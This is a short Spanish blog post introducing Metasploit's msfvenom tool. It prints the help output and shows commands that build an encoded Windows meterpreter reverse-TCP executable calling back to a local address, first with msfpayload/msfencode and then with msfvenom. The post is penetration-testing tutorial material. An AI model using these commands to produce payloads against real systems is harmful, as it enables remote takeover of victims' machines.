Hace unas semanas, durante una de mis actualizaciones del Metasploit Framework ví aparecer un nuevo comando llamado "msfvenom". No había leído nada en el blog de Metasploit ni en ningún otro lado, pero con ese nombre tenía que ser algo bueno, así que miré la ayuda del comando a ver si averiguaba que hacía el nuevo jueguete:
$ ./msfvenom --helpUsage: ./msfvenom [options]
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform]
The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-h, --help Show this message
Visto lo visto, y después de jugar un rato, podemos decir que "msfvenom" simplemente es una unificación de los binarios "msfpayload" y "msfencode" que todos hemos utilizado para generar payloads de Metasploit para que funcionen de forma independiente, o para importarlos en nuestros exploits fuera del framework, y cifrarlo.
Por hacer un repaso, hasta ahora, si quisiéramo generar un Payload de tipo Meterpreter para Windows y encodearlo con 10 iteraciones de alguno de los algoritmos, tendríamos que llamar a msfpayload señalando la salida como Raw, y concatenar esta con msfencode:
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -o meterpreter.exe
Ahora, con el nuevo comando, sería lo mismo, pero sin tener que usar tuberías ni elegir formato Raw primero:
$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 LHOST=192.168.1.100 > meterpreter.exe
Por lo demás, usaríamos este binario de su forma habitual, y por supuesto tiene muchas más opciones para elegir patrones diferentes para crear los binarios, igual que sucedía con "msfpayload" y "msfencode".
2 comentarios :
"pero con ese nombre tenía que ser algo bueno"
LOL :-)
@Anónimo: Ya te digo, el equipo de Metasploit siempre pone nombres muy Geeks a todo lo que hacen.
El día que vi que a un Plugin para WinDBG que sacaron lo llamaron "Byakugan"... Que si alguno ha seguido la serie de Naruto sabrá que es un nombre muy acertado para un debugger :)
Hecho por Geeks para los Geeks ;)
Publicar un comentario